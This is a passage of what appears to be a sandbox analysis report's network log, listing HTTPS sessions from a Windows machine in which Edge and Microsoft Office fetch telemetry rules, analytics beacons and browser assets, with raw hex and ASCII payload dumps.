f6 63 d5 ec bd 82 b3 c7 5f d5 89 ed 15 3f f6 0a e5 7d 86 bf 7b f2 4f 82 f3 1a ea 09 06 a9 c9 03 Data Ascii: ,\iuXdpZu\m}v0d'R}g]]OZ&z+gK[\|U_dZCN3RaDO9')qG~@/nI,Xr+/N;83$E~ONWu"=QxA}r}jp^AVUvW}Xc_?}{O
2024-11-11 11:40:28 UTC	16384	IN	Data Raw: 34 82 9b a9 e1 c3 b1 e1 46 87 99 95 55 9a b4 be 3b 59 b1 6b f9 9e 4a 6a 38 c3 9d 71 93 60 68 53 6d 70 93 f4 d8 cb 92 d6 1c 64 0c 55 29 d1 f7 86 61 3a 23 da d5 06 e4 b2 85 18 31 bb 0e 46 71 38 52 33 8f 24 f5 9e 43 1a 6d 32 5a be 90 91 0a d3 47 69 32 eb 74 ec 30 03 b3 0a 2f 45 60 14 c3 56 8c 9b d3 2c f6 4c cc 87 6e 54 d0 da 28 ed 5d 8d 3a 4d 4a aa f1 2e 74 2f 9f 56 e9 a4 49 86 4c 15 33 4f 70 79 ad 9c 27 57 fe 5f f1 b5 af dc 2b a5 7e 6a ff d6 06 bc 0c 5d f6 df fe e1 b9 f2 44 21 e0 ef 42 ef 50 c9 9d 6d c4 b7 e0 a2 c1 1c b4 2f 36 29 c7 0d cd c5 5f 01 b2 80 f3 b0 10 3b 89 01 c5 9d d8 7c 07 2e 18 db 27 d6 4f f2 63 9c b0 f6 f2 ae c9 8b 6c b2 c4 37 76 c1 ad 55 68 26 ab 9f 6e 0d f6 97 8b d0 7b ae f0 47 ed 5d 9f e5 af 8e d0 8d 25 c1 76 f1 dc 48 82 c0 c8 4e c8 12 40 Data Ascii: 4FU;YkJj8q`hSmpdU)a:#1Fq8R3$Cm2ZGi2t0/E`V,LnT(]:MJ.t/VIL3Opy'W_+~j]D!BPm/6)_;\|.'Ocl7vUh&n{G]%vHN@
2024-11-11 11:40:28 UTC	16384	IN	Data Raw: 14 85 b6 9f 56 47 3e e9 1b d3 5f a5 ac 50 c3 87 e4 2f 7d 48 49 98 d9 64 0e 08 ef 71 ff 50 b9 f3 86 37 4a 22 88 52 55 4a 91 92 53 0e 3c c2 3f 65 33 a3 28 fd 5a 9a 2e 91 76 ec f5 34 94 dc 1a 84 a2 be c1 0e 7a 8b 67 39 3e 58 c7 23 2c 7e 30 2a a9 04 8f 00 e5 ea b9 90 8e 19 22 31 4f 88 ac 1a 1f 76 bd 44 ab b4 23 ff 6a 0e 16 d3 4b 19 b1 5f 46 1a 8c 28 02 0b 82 4d 75 9f bc a7 ab d3 c0 ac 12 2c 1a e1 ca 61 62 a5 73 bf 90 ea 26 30 cc b6 60 ae a5 03 4b 60 ea 7c b9 bf 27 e4 0d 14 35 5a 3a 2d d3 09 b2 1d da a4 23 ee 1b c6 42 eb 6f 46 58 98 31 2d 33 81 d2 c7 b9 ea 4a e4 45 53 f8 1b 85 d6 9a f9 1c dd e5 4a cf 08 96 59 af e8 ce 28 b3 02 0e 0d ee 14 62 4a 58 2a 40 44 d3 12 5b 39 93 33 26 50 17 82 cc e2 88 1a 71 ab dd fe 3c 12 6a 79 40 5e 32 8d a6 25 53 15 5e 3f 60 3e a6 Data Ascii: VG>_P/}HIdqP7J"RUJS<?e3(Z.v4zg9>X#,~0"1OvD#jK_F(Mu,abs&0`K`\|'5Z:-#BoFX1-3JESJY(bJX@D[93&Pq<jy@^2%S^?`>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.6	49880	18.238.49.99	443	7684	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:28 UTC	925	OUT	GET /b?rn=1731325227261&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=1817CCD1391B64C11978D9E5387965A3&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-11 11:40:28 UTC	955	IN	HTTP/1.1 302 Found Content-Length: 0 Connection: close Date: Mon, 11 Nov 2024 11:40:28 GMT Accept-CH: UA, Platform, Arch, Model, Mobile Location: /b2?rn=1731325227261&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=1817CCD1391B64C11978D9E5387965A3&cs_fpit=o&cs_fpdm=null&cs_fpdt=null set-cookie: UID=17De4755cc9bde00e78767e1731325228; SameSite=None; Secure; domain=.scorecardresearch.com; path=/; max-age=33696000 set-cookie: XID=17De4755cc9bde00e78767e1731325228; SameSite=None; Secure; Partitioned; domain=.scorecardresearch.com; path=/; max-age=33696000 X-Cache: Miss from cloudfront Via: 1.1 7737ef6f12229d4564d45a2b0c059e2e.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK52-P3 X-Amz-Cf-Id: bTqk_NEpXAeZknSM4Mt_jpfySmPj7C-nFpRJsqzpjEg2EnfG3wjvUA==

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.6	49876	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:28 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 11:40:28 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:28 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 9a2be917-a01e-0053-13d5-338603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T114028Z-174f7845968vwdr7hC1EWRsh3w00000004t0000000006rfu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 11:40:28 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.6	49874	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:28 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 11:40:28 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:28 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: c08ebcb6-401e-0064-7bd5-3354af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T114028Z-174f7845968glpgnhC1EWR7uec000000050000000000692p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 11:40:28 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.6	49877	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:28 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 11:40:28 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:28 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 99a87d01-601e-005c-42d5-33f06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T114028Z-174f7845968ljs8phC1EWRe6en00000004s000000000466z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 11:40:28 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.6	49875	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:28 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 11:40:28 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:28 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: c08ebcd4-401e-0064-18d5-3354af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T114028Z-174f7845968xlwnmhC1EWR0sv800000004ng000000008f3c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 11:40:28 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.6	49873	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:28 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 11:40:28 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:28 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 5f7107d8-901e-0048-05d5-33b800000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T114028Z-174f78459685m244hC1EWRgp2c00000004p0000000007xe5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 11:40:28 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.6	49882	13.107.246.40	443	7684	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:28 UTC	711	OUT	GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: EntityExtractionDomainsConfig Sec-Mesh-Client-Edge-Version: 117.0.2045.55 Sec-Mesh-Client-Edge-Channel: stable Sec-Mesh-Client-OS: Windows Sec-Mesh-Client-OS-Version: 10.0.19045 Sec-Mesh-Client-Arch: x86_64 Sec-Mesh-Client-WebView: 0 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-11 11:40:29 UTC	576	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:28 GMT Content-Type: application/octet-stream Content-Length: 70207 Connection: close Content-Encoding: gzip Last-Modified: Thu, 07 Nov 2024 20:03:34 GMT ETag: 0x8DCFF6742E8F24C x-ms-request-id: fb6e1845-301e-0020-3c1c-3404cb000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241111T114028Z-174f7845968cpnpfhC1EWR3afc00000004mg000000001144 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-11 11:40:29 UTC	15808	IN	Data Raw: 1f 8b 08 08 16 1d 2d 67 02 ff 61 73 73 65 74 00 ec bd 0b 97 db 36 b2 30 f8 57 b2 b9 33 b3 dd 89 d5 d6 5b dd d9 cd fa f4 d3 f1 f8 39 6d 3b 19 db f1 d5 01 49 48 a2 45 91 0c 1f 6a ab c3 be bf 7d 0b 05 80 00 08 50 52 db ce 77 ef b7 67 67 9c 16 09 14 0a 40 a1 50 a8 2a 14 c0 3f bf f7 93 78 16 ce bf ff e9 bb 3f bf 2f 92 25 8d a7 51 b8 0a 0b 78 ef 8d bb dd 07 df 7d 9f 92 39 9d fa 65 91 cc 66 90 38 1c f4 59 62 40 67 a4 8c 8a 69 94 f8 24 a2 d3 15 49 11 81 c7 f0 c0 df 0e 3c 00 94 97 e3 6b de f1 08 7b a5 11 7b a5 51 67 9e e1 6b 8c af 71 a7 cc f1 15 81 69 de 59 7d c6 d7 02 5f 8b 0e a5 ec d5 c7 5c 3f ef f8 b7 ec 35 20 ec 35 20 9d 60 89 af 14 5f 69 27 40 e0 19 e6 ce 48 27 c4 8a 66 21 be 86 1d 78 60 af 19 be 66 9d 19 e6 2e b0 ec 82 76 c2 08 5f 31 77 91 75 16 3c b7 c4 d7 Data Ascii: -gasset60W3[9m;IHEj}PRwgg@P*?x?/%Qx}9ef8Yb@gi$I<k{{QgkqiY}_\?5 5 `_i'@H'f!x`f.v_1wu<
2024-11-11 11:40:29 UTC	16384	IN	Data Raw: c5 f3 e8 07 bb 82 71 ba da 2a 0b c7 62 2c 30 96 c2 52 09 74 65 c0 2a 8a c3 88 95 9c 7c 3e a9 79 09 d4 fa 9a 9f 30 4a 49 28 2b d7 97 ff 7a 7b f9 fa cd f4 c9 05 68 2b 37 9c c1 08 01 cb 2f 28 f3 02 34 de 08 0c a6 34 da 38 c6 ec 48 27 33 28 96 9f 45 d9 4f 9f 12 f7 54 d2 47 a6 39 87 08 81 e9 6d 4f c1 43 97 10 bf ad 59 55 67 39 13 fe 1e 05 67 65 16 87 6c 9b f5 cb 90 60 eb 3d ea 25 09 33 8b f9 4a fb 10 ef 11 3b 7c e8 61 60 14 a0 60 b9 7c 16 e7 69 54 b1 c3 22 c0 e0 29 df c2 05 4c 8f bc f0 67 5e 04 75 33 51 9a b7 e1 61 1a 61 48 f5 c3 30 f7 62 91 d5 a8 34 39 2a 97 ff 2d f5 aa c1 c2 6c 78 e0 35 33 d1 42 b3 75 c4 be 3b f4 d0 68 83 51 a7 81 2d a0 ff 0d 5d 10 62 ed 7f 55 a5 99 9f 25 2b 2f a4 4d 09 21 65 43 c7 04 cf 93 19 f3 c1 d0 b6 e9 14 38 59 31 29 8b 4d 52 3a c4 97 Data Ascii: qb,0Rte\|>y0JI(+z{h+7/(448H'3(EOTG9mOCYUg9gel`=%3J;\|a``\|iT")Lg^u3QaaH0b49*-lx53Bu;hQ-]bU%+/M!eC8Y1)MR:
2024-11-11 11:40:29 UTC	16384	IN	Data Raw: c1 f4 52 a7 67 b3 99 ff bc b7 c2 8e 7c d3 4d 9a a5 bf dc f0 20 15 b1 bc 1f 82 9a 8d 98 a7 af db 80 6b 74 e7 ab 7c e6 18 7d 9a 2b 3e 34 2d 1a e7 c0 d5 e8 b4 a0 0e d4 7d 19 bb 69 52 58 a2 33 32 78 db 4b 2d cd 54 dd d2 2b 9c a0 29 69 1a ba 4a ee 0a 4d 33 5a 7b a7 1a 83 5f f3 f7 fe 2c 2f 84 3b 39 d0 56 82 ef 75 a4 f3 69 57 af 58 09 8c 2a 1d 24 b9 4e 6b cf 63 d0 74 99 e3 02 0f 26 7f 1a 86 a9 a8 69 fa 5a d8 25 83 c1 ea f8 fd 12 62 16 86 38 17 5a 19 6f 13 03 00 e6 6a 07 a4 40 be bb 20 de a6 de bf d1 06 75 32 1f c3 4f 67 41 ad 31 bd b0 9c ee 44 47 33 2a 92 9c d3 f6 35 64 a9 b1 d3 f6 b1 c7 a7 b4 80 af ea c1 2a 6c dd 81 a0 0b 67 ca d2 b2 11 7c 8d dc 39 47 56 d1 bd 08 e8 ec 3e 4f c9 56 d6 7a d3 9a 56 4d 17 50 41 9b 17 9b 37 36 da 2e 7c a4 ba 63 f5 72 cd 6b 58 b5 9b Data Ascii: Rg\|M kt\|}+>4-}iRX32xK-T+)iJM3Z{_,/;9VuiWX$Nkct&iZ%b8Zoj@ u2OgA1DG35d*lg\|9GV>OVzVMPA76.\|crkX
2024-11-11 11:40:29 UTC	16384	IN	Data Raw: 41 9e 48 c8 71 d7 39 94 dd f7 b6 3f 2a 48 d1 b5 2e 37 a4 97 5f 43 54 c9 8d d7 76 7a 14 e4 6f 3b 80 f7 6a 61 e8 6f 47 e9 2d cb 60 84 66 2b c0 b9 77 09 1b c0 32 5c aa 6c 0e 25 81 ed a0 5e 61 25 37 6f 3c a5 bc 1f 04 1a dd b1 04 1d c9 73 16 3a 58 a8 69 4d 12 c1 5e e9 66 5f 14 6c e4 9e d4 61 25 e1 2f c3 fc b8 ed df 80 5d 2b 3a 5b 4c 56 c9 72 1f 59 1d 6a 72 0b d2 b0 4c 8e d5 67 db 16 79 41 90 65 4f 4b 68 63 f6 d1 e5 db b6 6a 18 e6 ca 5f 04 79 2e 71 69 5d 0e 19 cc d9 f6 58 27 58 af 1c 18 04 f1 98 d2 bf 15 1e 37 ce e0 1e 88 54 83 3c 82 f8 a8 05 5f b0 1b 3f 2f 02 8f 31 a4 e9 1d ed 45 e6 e4 85 e6 b9 66 4c fd cd 8d e4 58 f7 79 73 8b 47 40 25 b6 0d 7f 78 ff a8 fe e7 7d 69 4a fc 00 c7 b0 37 a9 44 f0 40 1e e8 bd 41 8a b4 0a 5d 5a 2c 0e 60 f7 fb 81 3b 35 42 38 50 3b bc Data Ascii: AHq9?*H.7_CTvzo;jaoG-`f+w2\l%^a%7o<s:XiM^f_la%/]+:[LVrYjrLgyAeOKhcj_y.qi]X'X7T<_?/1EfLXysG@%x}iJ7D@A]Z,`;5B8P;
2024-11-11 11:40:29 UTC	5247	IN	Data Raw: 9a 2a 83 ab 27 93 58 c5 2b d2 9c af 2b 4e 0f 79 ac a9 56 57 20 b1 61 ca d2 f5 ed 38 df 10 b9 60 88 4c 48 ac b1 cd 10 b5 8f 76 49 19 f2 b6 d5 54 1d d1 9c b1 20 7a d3 64 f7 91 a2 0c 4d 73 6d e0 da be ee e6 87 03 9f 5e f7 4f 98 9c 12 cd 88 68 4c 2e b1 48 00 60 c3 31 74 31 8d 87 b4 32 56 02 4f bf e1 a9 3b c0 40 d6 24 8e 10 55 c7 c3 e7 8c f3 78 28 78 d3 94 de b0 5a 4d 22 eb 28 5c 22 00 98 8e 15 1a f8 ab ac 54 f4 5d 80 d0 a5 aa 6e 87 83 fd d6 f1 b0 c0 82 f7 f4 5e ef 2f 2b b8 62 a2 13 a1 4d ae 60 cf 59 3c b1 b1 f4 40 4d 41 74 7c ac 2c 5a 9e ef f4 d2 81 6d 69 e1 d3 8b 73 2c 84 2c 06 37 fd 72 38 10 a5 b2 13 51 f1 a0 a2 06 7d 3f 89 8f 72 35 a0 58 a0 46 79 2f b7 1f cc 57 92 ec c8 b4 b5 f2 5c 65 e7 30 5a 93 e3 b1 8e 5f f5 91 44 87 44 19 1d 59 83 cf 54 85 de 92 34 2e Data Ascii: *'X++NyVW a8`LHvIT zdMsm^OhL.H`1t12VO;@$Ux(xZM"(\"T]n^/+bM`Y<@MAt\|,Zmis,,7r8Q}?r5XFy/W\e0Z_DDYT4.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.6	49879	20.110.205.119	443	7684	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:28 UTC	1175	OUT	GET /c.gif?rnd=1731325227261&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=cf0083d9bd7d43b991d9ad6081c2b329&activityId=cf0083d9bd7d43b991d9ad6081c2b329&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=1817CCD1391B64C11978D9E5387965A3; _EDGE_S=F=1&SID=1AA422DAB1436AD93F3837EEB0906B09; _EDGE_V=1
